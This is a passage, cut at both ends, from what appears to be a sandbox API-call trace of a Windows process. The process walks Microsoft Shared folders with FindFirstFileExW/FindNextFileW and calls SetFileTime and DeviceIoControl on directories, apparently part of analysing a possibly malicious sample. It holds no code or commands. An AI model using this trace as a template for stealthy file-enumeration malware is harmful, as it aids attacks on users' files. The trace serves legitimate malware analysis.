nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0064.583] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.584] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.592] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.596] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0064.599] GetLastError () returned 0x12 [0064.599] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0064.603] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.604] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.608] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0064.626] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0064.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0064.631] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0064.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0064.638] NtClose (Handle=0x190) returned 0x0 [0064.640] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0064.645] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0064.648] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.651] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0064.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0064.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0064.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0064.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0064.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0064.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0064.767] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0064.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0064.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0064.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0064.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0064.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0064.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0065.012] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0065.044] GetLastError () returned 0x12 [0065.045] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0065.045] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.045] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.045] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0065.045] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0065.045] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0065.045] GetLastError () returned 0x12 [0065.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.062] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.063] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.063] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0065.063] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0065.063] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0065.064] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0065.064] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0065.066] GetLastError () returned 0x12 [0065.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.066] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0065.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5568) returned 1 [0065.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0065.066] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0065.066] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0065.066] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0065.066] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0065.068] GetLastError () returned 0x12 [0065.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.068] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0065.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0065.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.068] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0065.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.068] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0065.089] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.089] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.089] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.089] NtClose (Handle=0xec) returned 0x0 [0065.089] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0065.089] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0065.089] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.089] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.089] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0065.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.089] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.089] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.089] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.089] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0065.089] GetLastError () returned 0x12 [0065.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0065.090] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0065.090] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.090] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0065.090] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0065.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.090] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0065.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 